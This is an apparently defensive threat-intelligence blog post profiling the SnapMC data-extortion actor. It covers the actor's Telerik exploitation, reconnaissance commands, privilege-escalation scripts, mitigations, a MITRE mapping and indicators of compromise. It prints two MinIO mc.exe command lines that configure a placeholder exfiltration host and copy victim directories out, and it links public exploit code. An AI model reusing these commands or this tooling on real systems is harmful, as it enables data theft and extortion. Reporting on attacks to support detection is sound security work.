SnapMC skips ransomware, steals data

mikestokkel

Blog, Threat Intelligence

October 11, 2021

Over the past few months NCC Group has observed an increasing number of data breach extortion cases, where the attacker steals data and threatens to publish said data online if the victim decides not to pay. Given the current threat landscape, most notable is the absence of ransomware or any technical attempt at disrupting the victim's operations.

Within the data breach extortion investigations, we have identified a cluster of activities defining a relatively constant modus operandi described in this article. We track this adversary as SnapMC and have not yet been able to link it to any known threat actors. The name SnapMC is derived from the actor's rapid attacks, generally completed in under 30 minutes, and the exfiltration tool mc.exe it uses.

Extortion emails threatening their recipients have become a trend over time. The lion's share of these consists of empty threats sent by perpetrators hoping to profit easily without investing in an actual attack. In the extortion emails we have seen from SnapMC have given victims 24 hours to get in contact and 72 hours to negotiate. These deadlines are rarely abided by since we have seen the attacker to start increasing the pressure well before countdown hits zero. SnapMC includes a list of the stolen data as evidence that they have had access to the victim's infrastructure. If the organization does not respond or negotiate within the given timeframe, the actor threatens to (or immediately does) publish the stolen data and informs the victim's customers and various media outlets.

Modus Operandi

Initial Access

At the time of writing NCC Group's Security Operations Centers (SOCs) have seen SnapMC scanning for multiple vulnerabilities in both webserver applications and VPN solutions. We have observed this actor successfully exploiting and stealing data from servers that were vulnerable to:

- Remote code execution in Telerik UI for ASPX.NET [1]
- SQL injections

After successfully exploiting a webserver application, the actor executes a payload to gain remote access through a reverse shell. Based on the observed payloads and characteristics the actor appears to use a publicly available Proof-of-Concept Telerik Exploit [2].

Directly afterwards PowerShell is started to perform some standard reconnaissance activity:

- whoami
- whoami /priv
- wmic logicaldisk get caption,description,providername
- net users /priv

Note: that in the last command the adversary used the '/priv' option, which is not a valid option for the net users command.

Privilege Escalation

In most of the cases we analyzed the threat actor did not perform privilege escalation. However in one case we did observe SnapMC trying to escalate privileges by running a handful of PowerShell scripts:

- Invoke-Nightmare [3]
- Invoke-JuicyPotato [4]

- Invoke-ServiceAbuse [4]
- Invoke-EventVwrBypass [6]
- Invoke-PrivescAudit [7]

Collection & Exfiltration

We observed the actor preparing for exfiltration by retrieving various tools to support data collection, such as 7zip and Invoke-SQLcmd scripts. Those, and artifacts related to the execution or usage of these tools, were stored in the following folders:

- C:\Windows\Temp\
- C:\Windows\Temp\Azure
- C:\Windows\Temp\Vmware

SnapMC used the Invoke-SQLcmd PowerShell script to communicate with the SQL database and export data. The actor stored the exported data locally in CSV files and compressed those files with the 7zip archive utility.

The actor used the MinIO [8] client to exfiltrate the data. Using the PowerShell commandline, the actor configured the exfil location and key to use, which were stored in a ***config.json*** file. During the exfiltration, MinIO creates a temporary file in the working directory with the file extension […]**.par.minio**.

```
C:\Windows\Temp\mc.exe --config-dir C:\Windows\Temp\vmware\.x --insecure alias set <DIR> <EXFIL_LOCATION> <API key> <API SECRET>
```

```
C:\Windows\Temp\mc.exe --config-dir C:\Windows\Temp\vmware\.x --insecure cp --recursive [DIR NAME] <CONFIGURED DIRECTORY>/<REMOTE DIRECTORY>/<VICTIM DIRECTORY>
```

Mitigations

First, initial access was generally achieved through known vulnerabilities, for which patches exist. Patching in a timely manner and keeping (internet connected) devices up-to-date is the most effective way to prevent falling victim to these types attacks. Make sure to identify where vulnerable software resides within your network by (regularly performing) vulnerability scanning.

Furthermore, third parties supplying software packages can make use of the vulnerable software as a component as well, leaving the vulnerability outside of your direct reach. Therefore, it is important to have an unambiguous mutual understanding and clearly defined agreements between your organization, and the software supplier about patch management and retention policies. The latter also applies to a possible obligation to have your supplier provide you with your systems for forensic and root cause analysis in case of an incident.

Worth mentioning, when reference testing the exploitability of specific versions of Telerik it became clear that when the software component resided behind a well configured Web Application Firewall (WAF), the exploit would be unsuccessful.

Finally, having properly implemented detection and incident response mechanisms and processes seriously increases the chance of successfully mitigating severe impact on your organization. Timely detection, and efficient response will reduce the damage even before it materializes.

Conclusion

NCC Group's Threat Intelligence team predicts that data breach extortion attacks will increase over time, as it takes less time, and even less technical in-depth knowledge or skill in comparison to a full-blown ransomware attack. In a ransomware attack, the adversary needs to achieve persistence and become domain administrator before stealing data and deploying ransomware. While in the data breach extortion attacks, most of the activity could even be automated and takes less time while still having a significant impact. Therefore, making sure you are able to detect such attacks in combination with having an incident response plan ready to execute at short notice, is vital to efficiently and effectively mitigate the threat SnapMC poses to your organization.

MITRE ATT&CK mapping

Reconnaissa	T1595.002 – Vulnerability s	SnapMC used the Acunetix vulnerability scanner to find syste

Initial Acces	T1190 – Exploit Public Faci	SnapMC exploited CVE-2019-18935 and SQL Injection.
Privilege Es		SnapMC used a combination of PowerShell cmdlets to achiev
Execution	T1059.001 – PowerShell	SnapMC used a combination of publicly available PowerShell
Collection	T1560.001 – Archive via Ut	SnapMC used 7zip to prepare data for exfiltration.
Exfiltration	T1567 – Exfiltration over W T1567.002 – Exfiltration to	SnapMC used MinIO client (mc.exe) to exfiltrate data.

MITRE ATT&CK

Indicators of Compromise

File locati name	C:\Windows\Temp[0-9]{10}.[0-9]{1,8}.dll *(Example: c:\Windows\Temp\1628862598*	File name of dropped payload after successful Te timestamp and last part is randomly generated
File locati name	C:\Windows\Temp\7za.exe	7zip archiving utility
File name	s.ps1	SQL cmdlet
File name	a.ps1	SQL cmdlet
File name	x.ps1	SQL cmdlet
File name	*.par.minio	Temporary files created by MinIO during exfiltrati
File locati	C:\Windows\Temp\Azure\	Folder for temporary files created by MinIO
File locati	C:\Windows\Temp\Vmware\	Folder for temporary files created by MinIO
File name	mc.exe	MinIO client
Hash	651ed548d2e04881d0ff24f789767c0e	MD5 hash of MinIO client
Hash	b4171d48df233978f8cf58081b8ad9dc51a	SHA1 hash of MinIO client
Hash	0a1d16e528dc1e41f01eb7c643de0dfb4e5	SHA265 hash of MinIO client

Indicators of Compromise

References

1. https://nvd.nist.gov/vuln/detail/CVE-2019-18935
2. https://github.com/noperator/CVE-2019-18935
3. https://github.com/calebstewart/CVE-2021-1675
4. https://github.com/d0nkeys/redteam/tree/master/privilege-escalation
5. https://powersploit.readthedocs.io/en/latest/Privesc/Invoke-ServiceAbuse/
6. https://github.com/gushmazuko/WinBypass
7. https://powersploit.readthedocs.io/en/latest/Privesc/Invoke-PrivescAudit/
8. https://min.io/